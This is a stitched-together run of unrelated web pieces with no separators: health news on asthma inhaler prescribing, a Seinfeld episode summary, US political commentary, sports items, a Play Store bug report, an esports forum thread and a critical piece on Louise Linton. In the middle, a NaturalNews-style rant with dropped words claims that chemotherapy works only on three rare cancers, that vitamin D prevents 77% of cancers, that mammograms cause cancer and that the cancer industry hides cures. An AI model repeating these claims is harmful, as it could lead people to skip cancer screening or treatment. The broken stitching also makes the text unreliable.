Asthma UK has discovered that 22,000 people, including 2,000 children, are currently carrying inhalers which although keep their airways open do not treat the underlying inflammation, and actually leave them even more exposed to pollen and pollution.
Without an accompanying steroid inhaler a further attack could be deadly, they warn.
The prescription of a long-acting reliever inhaler on its own is so unsafe that a major warning has been issued in the US.
Last year’s National Review of Asthma Deaths found there were prescribing errors in nearly half of asthma deaths in primary care.
• Asthma could be cured within five years after drug breakthrough
• One million asthma sufferers may not have the condition, warns health watchdog
• Parents falling for allergy myths is leaving children malnourished
Kay Boycott, Chief Executive of Asthma UK, says: “It is simply unacceptable that the lives of people with asthma are being put at risk because of unsafe prescribing.
“The UK has some of the highest mortality rates for asthma in Western Europe and the levels of unsafe prescribing identified in our report today must be stopped.
It is crucial that healthcare professionals review their systems and urgently recall patients who have been prescribed long-acting reliever inhalers on their own without a steroid preventer, or not as a combination inhaler.”
Asthma sufferers are now being asked to contact their GP if they have been prescribed an inhaler which includes Salmeterol, Formoterol or Tiotropium as the only active ingredient.
Anyone who is using their reliever inhaler more than 3 times a week and hasn’t had a recent review should also contact their practice.
Dr Mark Levy, GP and author of The National Review of Asthma Deaths, said: “Asthma UK’s report is welcome as it echoes the findings from the National Review of Asthma Deaths.
“There is widespread failure to recognise risk of attacks and therefore asthma death.
“Yet the reality is that deaths can be prevented when symptoms are managed effectively, with safe use of asthma medicines and in partnership with the patient.”10th episode of the ninth season of Seinfeld
"The Strike" is the 166th episode of the NBC sitcom Seinfeld. This was the tenth episode of the ninth and final season. It aired on December 18, 1997.[1] This episode featured and popularized the holiday of Festivus.
This episode also popularized the concept of a "two-face": someone who looks attractive sometimes and looks bad at other times, depending on exterior conditions, such as lighting. It also explained why Kramer never held a job throughout the show. The episode is also notable for featuring an appearance by actor/playwright Tracy Letts, who would win the 2008 Pulitzer Prize for Drama, for his play August: Osage County. TV Guide ranked this number three on its 'Top 10 Holiday Episodes' list.[2]
Plot [ edit ]
George, Elaine, and Jerry attend Tim Whatley's Hanukkah party, and Elaine meets a man whom she dubs "Denim Vest" (based on his wardrobe) and gives him a fake phone number after he asks her out. Later at the coffee shop, George opens his mail and is offended to receive a gift of a donation in his name from Whatley, and also gets upset when Elaine reads a card from George's father wishing him a "Happy Festivus", referring to a holiday that his father invented.
Kramer gets a call that a 12-year strike at his former job at H&H Bagels ended, so he decides to return to work. Meanwhile, Elaine realizes that she lost her card for a free submarine sandwich after giving it to "Denim Vest" with the fake phone number written on it. Determined to get her free sandwich, she goes to the off-track betting parlor, whose phone number is the fake number she gave to "Denim Vest", hoping he will call the betting parlor and she can get her sandwich card back. The two men at the betting parlor begin flirting with Elaine and ask for her phone number, prompting her to give the number for H&H Bagels. She goes to the bagel shop and waits to receive a call there.
After learning about Festivus from George and Jerry, Kramer becomes fascinated with the concept, and meets up with George's father, Frank, to learn about the holiday. Kramer requests to have off of work to celebrate Festivus and is denied, so he goes back on strike, picketing outside the store. While on strike, Kramer sabotages the bagel machine, causing a steam vent to burst inside the store, which causes Elaine to appear unattractive. She goes to meet "Denim Vest" for her sandwich card, and he does not have it on him, but says he can give it to her another time. Being turned off by Elaine's appearance, he gives her a fake phone number.
While giving out Christmas gifts at work, George hands out cards for donations made to "The Human Fund", a fake charity George created to get out of buying gifts for his co-workers. George's boss, Mr. Kruger, decides to give a large company donation to The Human Fund, only later to find out that the charity does not exist. When confronted by Mr. Kruger as to why George gave him a "fake Christmas gift", George hesitantly replies that he does not celebrate Christmas, but instead celebrates Festivus, and claims he gave out the fake cards to avoid being "persecuted for [his] beliefs". To prove to Mr. Kruger that Festivus is real, George invites him to a Festivus dinner at his parents' house.
Jerry goes on a date with Gwen (Karen Fineman), a girl whom he met at Whatley's party, and realizes she is much less attractive than when he first met her because of the different lighting. When Kramer first meets Gwen, he finds her rather unattractive, and later does not recognize her when picketing outside the bagel store, claiming that she is more attractive than Jerry's actual girlfriend, which leads Gwen to think Jerry is cheating on her.
Jerry, Elaine, George, and Mr. Kruger attend the Festivus dinner at George's parents' house. Kramer walks in with the two men from the betting parlor after they called H&H Bagels asking for Elaine. Gwen shows up at the dinner after Kramer tells her Jerry was there, and sees Elaine, whom she thinks is Jerry's "ugly" girlfriend that he's cheating on her with, and she storms out of the house. Kramer leaves to work a double shift at H&H Bagels after he ended his strike to use the bathroom. The Festivus dinner continues with the traditional "feats of strength" where Frank forces George to fight him as George refuses. Frank declares it "the best Festivus ever".
During the credits, Kramer is making a fresh batch of bagels, but he gets his chewing gum stuck in the dough. The manager sees this and, finally deciding he's had enough, fires Kramer, who cannot be happier.
Continuity [ edit ]
At the Festivus dinner, Kruger refers to Kramer as "Dr. Van Nostrand", a callback to "The Slicer". In that episode, Kramer pretends to be a dermatologist and screens Kruger for cancer. Kramer also used the name Dr. Van Nostrand in the episode "The Package" while pretending to be Elaine's doctor "from the Clinic". Kramer used the stage name "Martin Van Nostrand" when attempting unsuccessfully to audition for the part of 'Kramer' in part I of the two-part episode "The Pilot" and pretended to be Peter Van Nostrand, a professor of English literature who contended that Shakespeare was an impostor, in "The Nose Job".
The Human Fund [ edit ]
Due to his unconscionable cheapness, George Costanza found yet another way to save money after receiving a gift donation certificate from Tim Whatley. Instead of exchanging Christmas gifts (per normal custom) with his co-workers, George gave cards stating that a donation had been made in his co-workers' names to a charity called "The Human Fund" (with the slogan "Money For People"). This organization was strictly an invention of George's that did not in fact exist. The Human Fund was conceived by writer Jeff Schafer and based on Christmas cards the Seinfeld staff would receive from Castle Rock.[3]
The Human Fund is also the name of a real organization based in Cleveland, Ohio established in 2005, eight years after the episode's airing. This organization reportedly drew its name from the episode.[4]
This episode inspired its own cryptocurrency called The Human Fund (HF) in 2018.[5]
In the Lost episode "Everybody Loves Hugo," after being presented with an award for his support of the Golden State Natural History Museum, Hugo Reyes (AKA Hurley) says to his mother that they have an event with the Human Fund next Saturday night.Church on York (Photo via Facebook)
It's a sad day for the music scene in L.A. as Highland Park's beloved venue, the Church on York, announced today that they're closing down.
In a Facebook post, the folks behind the event space wrote:
The Church On York is closing down. After nearly a year converting a 101 year old historic church into a community arts & music space, we have hit some severe roadblocks that have forced us to close our doors for good.
Just last week, the Church on York owner Graeme Flegenheimer, received a call from the L.A. Department of City Planning that they were denying his event permits. Also, the L.A. Fire Department told him that they would shut down any concerts if he tried putting them on. The city said their reasoning behind it included how Flegenheimer put on shows without proper permits and served alcohol while their alcohol license was under review.
This is one of the many small venues in L.A. that have had to shut down due to battling with city officials. The Church on York now joins other town favorites that suffered a similar fate like Echo Curio and the Libertine.
The Church on York, which put on punk rock concerts, comedy shows and classes, has moved their remaining shows to other venues around the city. They will be honoring any tickets already bought. For information on where the shows will be held, visit their Facebook, Twitter and Instagram accounts. Ticketfly will also be sending out information to any ticket holders. Their AA, Al Anon and OA meetings will continue meeting there until June 15.Nate Silver knows a thing or two about polls. His message about the GOP and the shutdown is worth sharing:
"The media is probably overstating the magnitude of the shutdown's political impact.
Remember Syria? The fiscal cliff? Benghazi? The IRS scandal? The collapse of immigration reform? All of these were hyped as game-changing political moments by the news media, just as so many stories were during the election last year. In each case, the public's interest quickly waned once the news cycle turned over to another story. Most political stories have a fairly short half-life and won't turn out to be as consequential as they seem at the time.
Or consider the other story from President Obama's tenure in office that has the most parallels to the shutdown: the tense negotiations, in 2011, over the federal debt ceiling. The resolution to that crisis, which left voters across the political spectrum dissatisfied, did have some medium-term political impact: Obama's approval ratings declined to the low 40s from the high 40s, crossing a threshold that historically marks the difference between a reelected president and a one-termer, and congressional approval ratings plunged to record lows.
But Obama's approval ratings reverted to the high 40s by early 2012, enough to facilitate his reelection. Meanwhile, reelection rates for congressional incumbents were close to their long-term averages.
None of this applies if the United States actually does default on its debt this time around, or if the U.S. shutdown persists for as long as Belgium's.
But if the current round of negotiations is resolved within the next week or so, they might turn out to have a relatively minor impact by November 2014."The nation is noticing the Carolina Panthers' success, at least according to the first round of Pro Bowl voting.
Seven Panthers are in the top 2 at their positions via voting on NFL.com. Only the Patriots, who are also 8-0, have as many names in the top 2 as the Panthers.
LEADING VOTE-GETTERS BY POSITION
POS. PLAYER VOTES POS. PLAYER VOTES QB Tom Brady, New England 141,750 DE J.J. Watt, Houston 71,045 QB Aaron Rodgers, Green Bay 120,242 DE Chandler Jones, New England 51,793 RB Devonta Freeman, Atlanta 103,334 DT Geno Atkins, Cincinnati 54,816 RB Todd Gurley, St. Louis 75,592 DT Aaron Donald, St. Louis 48,125 FB Marcel Reece, Oakland 63,967 OLB Thomas Davis, Carolina 44,834 FB Mike Tolbert, Carolina 60,665 OLB Jamie Collins, New England 42,907 WR Julio Jones, Atlanta 85,034 ILB Luke Kuechly, Carolina 48,591 WR Odell Beckham, Jr., New York Giants 80,338 ILB Clay Matthews, Green Bay 42,038 TE Rob Gronkowski, New England 101,674 CB Josh Norman, Carolina 64,915 TE Greg Olsen, Carolina 67,734 CB Darrelle Revis, New York Jets 59,278 T Sebastian Vollmer, New England 32,135 SS Charles Woodson, Oakland 46,698 T Bryan Bulaga, Green Bay 27,149 SS Kam Chancellor, Seattle 25,017 G Zack Martin, Dallas 28,158 FS Tyrann Mathieu, Arizona 31,097 G Mike Iupati, Arizona 25,267 FS Earl Thomas, Seattle 25,932 C Ryan Kalil, Carolina 40,353 P Sam Koch, Baltimore 24,576 C Nick Mangold, New York Jets 33,018 P Matt Bosher, Atlanta 17,166 K Stephen Gostkowski, New England 46,071 ST Matthew Slater, New England 21,457 K Justin Tucker, Baltimore 24,491 ST Joe Webb, Carolina 20,194 RS Tyler Lockett, Seattle 23,006 RS Dwayne Harris, New York Giants 17,976
TOP 10 VOTE-GETTERS$300,000 is the starting bid on this eBay listing for a three-bedroom home built in a 15,000 sqft cave in Festus, MO, formerly a roller-rink/concert venue that entertained the MC5, Ike and Tina Turner and Ted Nugent. Sounds like a hell of a place to live (and you gotta feel for the family that's losing their dream). It's got three freshwater springs and there are fourteen waterfalls on the property. Yowza.
On May 19th, 2008, the City of Festus approved our occupancy inspection for the cave. Officially, this completed our project. There are still projects that can be started, completed and developed. Plenty of room in our 17,000 square foot home.
This is now where we live, work, raise our family and celebrate life! Here are a few of the details about the place:
Historic, regionally famous cave: 15,000 square feet, divided into three main chambers.
The front chamber houses the main part of the 3-bedroom finished house.
The middle chamber holds the laundry room, storage, and a spare bath. The middle chamber made a great party room. 80 feet by 80 feet.
The back chamber still has the stage where Ted Nugent, Bob Seger, Ike and Tina Turner, the MC5 and many other bands performed.
Property: 2 |
runs. This strategy is a little advanced, as there certainly isn’t a complete need to run over 26 miles to prepare for a marathon. If this appeals to you, make sure you have a marathon race strategy in place before you run.
The Mental Side of Race Variation
It’s hard to get bored with training and racing if you’re always doing something new and exciting. Getting off the road and doing a cross-country race in the trails can be exhilarating, while training for your first half-marathon can provide a new challenge to work toward.
When I used to focus on one race distance I felt like I wasn’t accomplishing as much. Every track meet was the same and my performances began to stagnate. It’s not fun to always race the same distance. It gets old fast.
In college, my coaches allowed us to vary our races so I focused on the 1500m and the 3000m during indoor track. But I also ran a few 4x400m and 4x800m relays after our main race to practice our speed while we were already tired. It was exciting!
I felt more engaged with my racing and therefore, my training. Going to practice and doing workouts no longer felt like a chore because I was being given more opportunities to test that fitness in different race situations. You can simulate this by experimenting with numerous race distances. I’m much in favor of not being a specialist – be a “Renaissance Man” (or woman) of racing. The variety will keep your mind and body fresh.
What’s your favorite race? Do you prepare by running other types of races? Have you run uphill races or other extreme events?
Photo CreditA student at Chapman University in Orange, California, argues that holding moderate political beliefs is a form of privilege akin to “white privilege.”
“Liberals and progressives can be quick to call attention to many privileges, but one that often goes unrecognized is centrist privilege,” a sophomore at Chapman University wrote this week for the school’s student newspaper.
In the column, Chapman University student Matthew Q. Joy argues that moderate political beliefs are often as vile as “right-wing conservatism.” The Republican Party, Joy argues, has become too radical to reach compromises with their political opponents.
In a political environment that receives criticism for polarization, it has become almost honorable to self-describe as a “moderate” or a “centrist.” While there is value in recognizing opposing viewpoints and reaching compromises, the Republican Party has become too conservative for this to be possible. This has created a situation in which liberals who follow the moderate, compromising path – as opposed to holding steadfast progressive values – quietly benefit from the struggles of countless Americans.
Joy argues that “centrist privilege” is akin to “white privilege” in that it allows Americans to escape without social consequences despite holding “views that leave fellow Americans at a disadvantage.” Joy argues that Barack Obama was a shining example of “centrist privilege” because he faced no consequences for failing to successfully implement “universal health care coverage” for all.With President Obama's re-election, New York Times blogger Nate Silver has reason to smile.
Silver became a near-god for nervous Democrats, and, as the campaign entered its final stretch, a sudden subject of scorn and derision for some pundits who doubted his polling forecasts, which consistently showed Obama in the lead. His bet with Joe Scarborough (who had dubbed him a "joke") only stoked the controversy further.
As it turned out, Silver came through with flying colors, as Obama performed nearly exactly the way he said he would. The public recognition was immediate.
"You know who won the election tonight? Nate Silver," Rachel Maddow said on MSNBC. Even Fox News tipped its cap to Silver.
Others said that the results could force a bit of a sea change in political journalism.
"What does this victory mean?" Mashable's Chris Taylor wrote. "That mathematical models can no longer be derided by "gut-feeling" pundits. That Silver's contention -- TV pundits are generally no more accurate than a coin toss -- must now be given wider credence."
For his part, Silver cheekily plugged his new book:
This is probably a good time to link to my book: http://t.co/cVCB3gVn — Nate Silver (@NateSilver538) November 7, 2012Get the biggest Manchester United FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
The £25m deal taking Memphis Depay from PSV to Manchester United has caused much delight among Red Devils supporters.
True, that was mainly because they suddenly had an excuse to abuse Liverpool fans. But once they stopped laughing, the prospect of the new Cristiano Ronaldo running down the Old Trafford wing has caused much excitement.
However, it's not just on the pitch that the flying Dutchman is going to make a difference.
At a club as big as United, players have plenty of commitments away from the pitch. And 21-year-old Depay offers plenty in that department too…
He'll be great at karaoke
Which should help him fit right in - United's foreign players love a good sing-song.
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He'll help the club grow its female fan base
Something tells us the "Official Memphis Depay 2016 Calendar" is already in the works.
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He'll be able to help out in the kitchen
In fact, judging by this video, there may be a range of Depay Pasta Dishes on offer at Old Trafford shortly. They actually did that at PSV. Seriously…
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His body art will become a talking point
With all that ink, he already looks like a Premier League superstar, doesn't he?
(Image: VI Images via Getty Images)Living in Lebanon, I'm used to seeing limited app compatibility on the Play Store. Some apps are just not available in my country for a logical reason, others aren't because who-knows-why, and a few are limited to carriers or specific devices. I am, however, definitely not used to seeing "You don't have any devices" on every single app that I visit on the Play Store, which is what happened to me yesterday. I chalked it off as the Play Store being the Play Store, which is to say sometimes weird and slow to realize that I have at least 7 different Android devices that the app can be installed on, and moved on.
But the bug didn't just hit me. It affected and keeps on affecting several members of the Android Police team, including Bertel and Artem (#artemsluck), who keep on seeing that alarming red exclamation point during most of their Play Store visits. Below is a GIF showing the Android Auto page being refreshed a few times, the first two with the bug, then the third time finally showing that there are indeed a few compatible phones among the huge list of devices on Artem's account.
The bug doesn't actually affect whether or not you can install apps on your devices. Even with the Play Store apparently not recognizing any of your phones, tablets, and TVs, you can still click on Install and pick a device in the list. It's just a visible annoyance where users might assume an app is not available for their country or devices and not bother to click the install button to verify that. Those of us who have tens of Android phones and tablets attached to our accounts are also freaking out because surely, something on that list has to work with that app, right?
Artem has started a Google+ poll to see if the issue is widespread or not, and so far 16% of the almost 900 votes say that they're being greeted by the red alert notice of hell almost every time. 26% are seeing it sporadically, and 58% haven't come across it.
If you're one of the unlucky ones, I offer a pat on the back and the useless information that we've reached out to Google to report this issue but haven't heard back yet. In the meantime, patience is your friend and so is the reflex to click on Install regardless of what the Play Store tells you.The cancer industry is a complete failure
Chemotherapy: The chemical holocaust
The U.S. government has abandoned science, too
(NaturalNews) The cancer industry has blatantly abandoned science these past two weeks by insisting women under 50 should receive annual mammograms even though the industry's own scientific task force concluded that such screenings result in too many false positives. Essentially, the U.S. Preventive Services Task Force took a good, hard look at the science and concluded that mammograms harm far more women than they help (for women under 50, anyway). But when they announced the new recommendations that women under 50 should avoid mammograms -- and women over 50 should only get them every other year -- the cancer industry cried foul.Radiologists, oncologists, Big Pharma pill-pushers and cancer industry non-profits all banded together to declare, "We are abandoning the science! We want more mammograms for more women, science be damned!"Of course, they all stillto be "scientific," but what they really do is selectively cherry-pick which bits and pieces of the scientific evidence they choose to adhere to. And when it comes to these new mammogram recommendations, they've decided to simply abandon the science and keep pushing more radiation imaging tests for women (mammography).What you are witnessing here, folks, is. Their technologies do not save lives, their drugs do not cure cancer, and their "science" doesn't add up., and now its fraudulent nature is finally becoming apparent to everyone. It even has the mainstream media (USA Today) describing the failures of mammography in articles like the one you'll see here: http://www.usatoday.com/news/health/2009-11-... Here's something else you need to know: The cancer industry hasn't merely abandoned science in terms of mammography; it has also abandoned all science with the pushing of chemotherapy. Did you knowThat evidence doesn't exist. The whole "treatment" scam is based entirely on fiction. Chemotherapy only works at all against three rare types of cancer, and breast cancer isn't one of them.In defending the new mammography guidelines, Dr. Timothy Wilt, a member of the U.S. Preventive Services Task Force, said that the task force recommendations "were based on the most rigorous peer review of up-to-date, accurate information about the evidence about the harms and benefits of treatment."He repeated that women under 50 should never receive mammograms, and women 50 or over should only receive a mammogram every two years.The American Cancer Society, quite predictably, has a real problem with that recommendation. Its entire success (and power) depends on, and one of the best ways to make sure that happens is to keep pushing for more mammograms. In opposing the new mammography recommendations, the ACS has now abandoned science, too.And they lie thousands of times a day, deceptively recruiting women into modern medicine's version of a. A cure for cancer would destroy the industry. It would wipe out billions of dollars in profits that drug companies, radiologists and oncologists are counting on right now. This is precisely why the cancer industry dares not tell women the truth about vitamin D, for example, which prevents 77% ofcancers, including breast cancer.If every woman in America were given vitamin D supplements, cancer rates would plummet by up to 77% in a single year, and the cancer industry would virtually collapse. That cannot be allowed to happen, of course, which is precisely why the industry has a complete blackout on vitamin D information while pushing hard for annual mammograms that continue to cause cancer (and generate repeat business).Kathleen Sebelius, Secretary of Health and Human Services, has told women to ignore the new mammography advice by the U.S. government task force. But. She, like everyone else pushing mammograms, is engaged in pure quackery.I find this particularly fascinating, given that the cancer industry claims people who are offering cancer cures are "quacks." Such cures aren't based on rock-solid science, they claim! But when the rock-solid science says mammograms are dangerous for women,That's why they areHere's a simple prediction: In twenty years, mammograms will have been long since abandoned. Doctors of that era will look back at 2009 and wonder how this so-called "modern" medical industry could have been so deeply invested in such a dangerous, cancer-causing technology called mammography. They will scratch their heads and ask, "Why didn't they heed the science that said mammography is dangerous?" They'll write about "how medically illiterate the people were in 2009" because they voluntarily inserted their body parts into irradiation machines.The fact is that people of every era are suckers for apparent medical authority. Patients tend to believe doctors because they mistakenly think doctors know what they're talking about. But conventional doctors are, not healers. They understand the detailed of, but they have no clue how to activate the body's innate healing potential.Doctors tend to be very intelligent individuals, but even they cannot understand things they've never been taught, and medical school is focused almost entirely on a drugs-and-surgery approach to medicine (slash and burn).Doctors may be smart, but they're ignorant about healing. And for the most part, they're nutritionally illiterate, which is why cancer doctors still don't recommend vitamin D. (Astonishing, but true.)So why, then, would patients who are interested in healing their bodies go see medical professionals who are experts in the administration of poison? It makes no sense. But that's what insurance covers, so they keep doing it. And they keep dying of cancer, an almost entirely preventable disease with cures that exist right nowbecause too much profit depends on keeping people sick.Mammograms are the insurance of the cancer industry. As long as mammogram machines keep running, there will always be more cancer to diagnose -- because the machinesThouhastmail Profile Joined March 2015 Korea (North) 876 Posts #1 http://m.sportsseoul.com/news/read/308360
AfreecaTV said, "Our former announcement was only about principle. We now realised that this issue is much more important for esports and game industry than our thought. Also, during consultation, we become understand KeSPA`s endeavor - that`s why we made a 'quick decision.' "
KeSPA responsed, "We admit that there was some sort of technicality issue. We should request stream platforms for cooperation before announcing manifesto. We considered it was urgent, which made some misunderstandings"
Besides, it is known that AfreecaTV even suggested more proactive solutions to KeSPA.
edit: This applies to BOTH BW and SC2 matchfixers.
AfreecaTV said, "Our former announcement was only about principle. We now realised that this issue is much more important for esports and game industry than our thought. Also, during consultation, we become understand KeSPA`s endeavor - that`s why we made a 'quick decision.' "KeSPA responsed, "We admit that there was some sort of technicality issue. We should request stream platforms for cooperation before announcing manifesto. We considered it was urgent, which made some misunderstandings"Besides, it is known that AfreecaTV even suggested more proactive solutions to KeSPA.edit: This applies to BOTH BW and SC2 matchfixers. "Morality is simply the attitude we adopt towards people we personally dislike"
BigFan Profile Blog Joined December 2010 TLADT 23524 Posts #2 wait, what? I thought they refused? BW Editor-In-Chief "Watch Bakemonogatari or I will kill you." -Toad, April 18th, 2017
Thouhastmail Profile Joined March 2015 Korea (North) 876 Posts #3 gonna translate it soon. maybe needs some information. "Morality is simply the attitude we adopt towards people we personally dislike"
egernya Profile Joined March 2013 Canada 351 Posts #4 I'm glad that they made a decision that most of people who are associated with the scene and Korean fans wanted.
r_gg Profile Joined August 2015 141 Posts Last Edited: 2015-10-22 05:38:58 #5 On October 22 2015 14:29 BigFan wrote:
wait, what? I thought they refused?
their explanation is that they heard about the demand through news articles, so Afreeca gave a general statement regarding their policy prematurely before receiving an official request from Kespa. Once they started exchanging words together, Afreeca realized how much impact the decision has on the eSports industry so they changed their stance. their explanation is that they heard about the demand through news articles, so Afreeca gave a general statement regarding their policy prematurely before receiving an official request from Kespa. Once they started exchanging words together, Afreeca realized how much impact the decision has on the eSports industry so they changed their stance. Writer
GTR Profile Blog Joined September 2004 47912 Posts #6 cya hwasin Commentator Twitter: @GTR1H
Stream: http://www.twitch.tv/GTR1H
mahrgell Profile Blog Joined December 2009 Germany 1193 Posts #7 On October 22 2015 14:57 GTR wrote:
cya hwasin
now hwasin will make a documentary how matchfixers(yoda,b4, gerrard) ruined his life, as they caused his afreeca ban! now hwasin will make a documentary how matchfixers(yoda,b4, gerrard) ruined his life, as they caused his afreeca ban!
usopsama Profile Joined April 2008 6487 Posts Last Edited: 2015-10-22 06:16:28 #8 On October 22 2015 15:09 mahrgell wrote:
Show nested quote +
On October 22 2015 14:57 GTR wrote:
cya hwasin
now hwasin will make a documentary how matchfixers(yoda,b4, gerrard) ruined his life, as they caused his afreeca ban! now hwasin will make a documentary how matchfixers(yoda,b4, gerrard) ruined his life, as they caused his afreeca ban!
Before that, he needs to remove the illegal betting bookmarks on his browser.
Anyway, I am glad that Afreeca wasn't stubborn about it and changed their decision. Before that, he needs to remove the illegal betting bookmarks on his browser.Anyway, I am glad that Afreeca wasn't stubborn about it and changed their decision.
c3rberUs Profile Blog Joined December 2010 Japan 11274 Posts #9 Well there goes that. Afreeca was in a strange dilemma. Writer Movie, 진영화 : "StarCraft will never die".
Blargh Profile Joined September 2010 United States 1837 Posts #10 This is sort of sad in a way.... But I don't think they had any way around it at this point.
Alucen-Will- Profile Joined October 2014 United States 3998 Posts #11 Likely this was some sort of move pushed by someone outside Afreeca, considering the odd change of position
Shana Profile Blog Joined July 2009 Indonesia 1720 Posts #12 Great Believing in what lies ahead. | That which we call a rose, by any other name would smell as sweet.
Zealously Profile Blog Joined October 2011 East Gorteau 21066 Posts #13 There wasn't much they could do. Good on Afreeca for not potentially putting competitive players in the crossfire of a forced boycott, at least. Administrator Daniel Olsson
lichter Profile Blog Joined September 2010 1001 YEARS KESPAJAIL 22175 Posts #14 Didn't seem like they had much of a choice. Guess it's time to move on from this matchfixers and streaming drama Administrator YOU MUST HEED MY INSTRUCTIONS TAKE OFF YOUR THIIIINGS
BLinD-RawR Profile Blog Joined April 2010 ALLEYCAT BLUES 43993 Posts #15 Like I said before, this is for the best. Moderator Woo Jung Ho, never forget.| Twitter: @BLinDRawR
ThePacifist Profile Joined March 2015 Korea (South) 46 Posts Last Edited: 2015-10-22 07:10:29 #16 It seems the matchfixers are banned from streaming only accredited games(SC1, SC2 and LoL) by KeSPA. So they can stream the other games or the other contents. I think it's OK. A man cannot be too careful in the choice of his enemy.
Chuddinater Profile Joined July 2013 Korea (South) 164 Posts #17 On October 22 2015 15:47 Alucen-Will- wrote:
Likely this was some sort of move pushed by someone outside Afreeca, considering the odd change of position
Korean fans reaction to Afreeca refusing to ban match fixers was pretty intense. TL users didn't see the backlash the Korean community had against Afreeca and when your customers riot against you a company will change their stance pretty quickly. Korean fans reaction to Afreeca refusing to ban match fixers was pretty intense. TL users didn't see the backlash the Korean community had against Afreeca and when your customers riot against you a company will change their stance pretty quickly.
Thouhastmail Profile Joined March 2015 Korea (North) 876 Posts Last Edited: 2015-10-22 07:58:54 #18
yeah, they don`t listen to anyone unless it`s the question of money.
tsk tsk tsk. what a pathetic. yeah, they don`t listen to anyone unless it`s the question of money.tsk tsk tsk. what a pathetic. "Morality is simply the attitude we adopt towards people we personally dislike"
Wrath Profile Blog Joined July 2014 3115 Posts #19 On October 22 2015 16:37 Chuddinater wrote:
Show nested quote +
On October 22 2015 15:47 Alucen-Will- wrote:
Likely this was some sort of move pushed by someone outside Afreeca, considering the odd change of position
Korean fans reaction to Afreeca refusing to ban match fixers was pretty intense. TL users didn't see the backlash the Korean community had against Afreeca and when your customers riot against you a company will change their stance pretty quickly. Korean fans reaction to Afreeca refusing to ban match fixers was pretty intense. TL users didn't see the backlash the Korean community had against Afreeca and when your customers riot against you a company will change their stance pretty quickly.
Thank god they finally listened...
I guess DCStarcraftGall post was pretty small sample compared to the backlash you are talking about. Thank god they finally listened...I guess DCStarcraftGall post was pretty small sample compared to the backlash you are talking about.
AbouSV Profile Joined October 2014 France 1132 Posts #20 Well, that's the world we live in.
If it got money attached to it, it is very biased, and if it does not, it will not last for long :/
1 2 3 4 5 12 13 14 Next AllThis administration is filled with characters so basic and predictable that a responsible editor giving notes on 2017: The Movie would urge the writer to cut them. Donald the cartoon misogynist; Jefferson Beauregard Sessions, the ‘a little on-the-nose’ southerner; Ivanka, the human sugar-free vanilla latte.
But yesterday a minor character in Trumpland reminded us that she can be just as obnoxious and tiresome as the people with actual job titles. Meet the real housewife of the U.S. Treasury, Louise Linton.
Yesterday, Linton, wife of Treasury Secretary Steve Mnuchin, posted a photo of herself disembarking an official government plane wearing Roland Mouret, Hermes, Tom Ford, and Valentino. We know she was wearing those labels because she included them as hashtags in the photo caption. “ Great #daytrip to #Kentucky!” she wrote, in addition to the aforementioned designer shout-outs. The photo didn’t sit well with Jenni Miller, a Portland, Oregon mother of three, who wrote “Glad we could pay for your little getaway #deplorable.”
There are several ways Linton could have handled this comment that would have been better than what she actually did. She could have ignored it, always the best way to stave off an Instagram fight (the least dignified of the social media fights). She could have had the foresight to not post the photo in the first place. She could have posted the photo, but not in front of a logo that made it look like the U.S. government was funding her and her husbands’ fun little #daytrips.
But Linton didn’t do any of these things. Instead, she made fun of Jenni Miller for being poor.
Linton wrote, “Aw!!! Did you think this was a personal trip?! Adorable! Do you think the US govt paid for our honeymoon or personal travel?! Lololol. Have you given more to the economy than me and my husband? Either as an individual earner in taxes OR in self sacrifice to your country?”
Linton continued, “I’m pretty sure we paid more taxes toward our day ‘trip’ than you did. Pretty sure the amount we sacrifice per year is a lot more than you’d be willing to sacrifice if the choice was yours. You’re adorably out of touch. Thanks for the passive aggressive comment.”
“Your life looks cute,” she later added. She then deleted the comment, and finally made her Instagram account private.
A Bloomberg report clarified that Linton has been paying for her own travel when she accompanies Mnuchin, but not before the damage was done, her tackiness unleashed, her name all over American news media for acting like an incorrigible brat. One can only imagine the conniption conservative-leaning outlets would be having if one of the Obama girls was similarly boastful.
Before Linton married Treasury Secretary and verifiable swamp dweller Steve Mnuchin two months ago, she was working as an actress. Her resume included the role of “skin care consultant” in a 2008 Tom Cruise film, a role that was eventually cut entirely from the finished product. She also played “Deputy Winston” on 2015’s Cabin Fever, illustrious recipient of a 0% rating on Rotten Tomatoes. She grew up in a castle in Scotland. A literal castle.
Linton was born in Scotland to wealthy parents, was raised in a castle (literally), attended boarding school, and was sent to the U.S. to attend college at Pepperdine, one of the most expensive undergraduate universities in the United States. She received her law degree from the University of West Los Angeles School of Law, which is not accredited by the American Bar Association. Her husband graduated from Yale and immediately went to work for Goldman Sachs before managing hedge funds up to and through the financial collapse of 2007-2008. Neither has served in the military.
Linton’s comments on sacrifice came hours before Trump vowed to increase troop engagement in Afghanistan.
This isn’t Linton’s first unfortunate foray into viral fame. In 2016, she published a memoir of the six months she spent in Zambia during her 1999 gap year. The book, In Congo’s Shadow promised readers “one girl’s perilous journey in the heart of Africa.” In the book, she described escaping attacks from crocodiles and foot-long spiders, hiding from rebels, and being nicknamed “angel hair” by the HIV-positive children with whom she was volunteering. One portion of the book, published after the initial backlash by The Scotsman, read, “As the night ticked interminably by, I tried not to think what the rebels would do to the ‘skinny white muzungu with long angel hair’ if they found me. Clenching my jaw to stop my teeth chattering, I squeezed my eyes shut and reminded myself how I’d come to be a central character in this horror story.”
Linton’s memoirs were refuted as false by people who worked where she volunteered, and criticized by the Zambian High Commission in London. Zambia had been at peace when Linton was working there, and memoirs that falsely characterize it as a war-torn hellhole understandably threaten the tourism industry on which many of its residents depend.
In addition, Linton’s book featured photos of the HIV-positive children she worked with, which were used without the children’s (or their families’) permission.
The backlash was so acute that Linton pulled the book and apologized.
Perhaps it’s unfair to compare Linton to a Real Housewife. After all, Real Housewives are able to rein it in, sometimes. Brandy Glanville sort of half-apologized after implying on an episode of Real Housewives of Beverly Hills that black people can’t swim. In a Real Housewives of Melbourne reunion show, one cast member accused another of “blatant racism” in dealing with her Filipina housekeeper. The other cast members and viewers were on the accuser’s side.
Still, Linton has the perfect backstory and apparent thirst for drama for a Real Housewife. It’s a shame she’s representing America instead of Bravo television, where she’d be a better fit. As a statesman’s spouse, she brings into relief how embarrassing this administration is from top billing down, from its stars to its minor unnamed characters that will probably get cut from the final version. Skin care consultant. Africa fabulist. Instagram fool.Opening day. It's April. Spring, if you live in a place where there are seasons, just Saturday if you don't. Your team is taking the field for the first time, and you pile into the bleachers or crank up the old YouTube machine. You've studied the roster, said goodbye to old favorites, anticipated all those rookie debuts and the magic that that one big signing will bring.
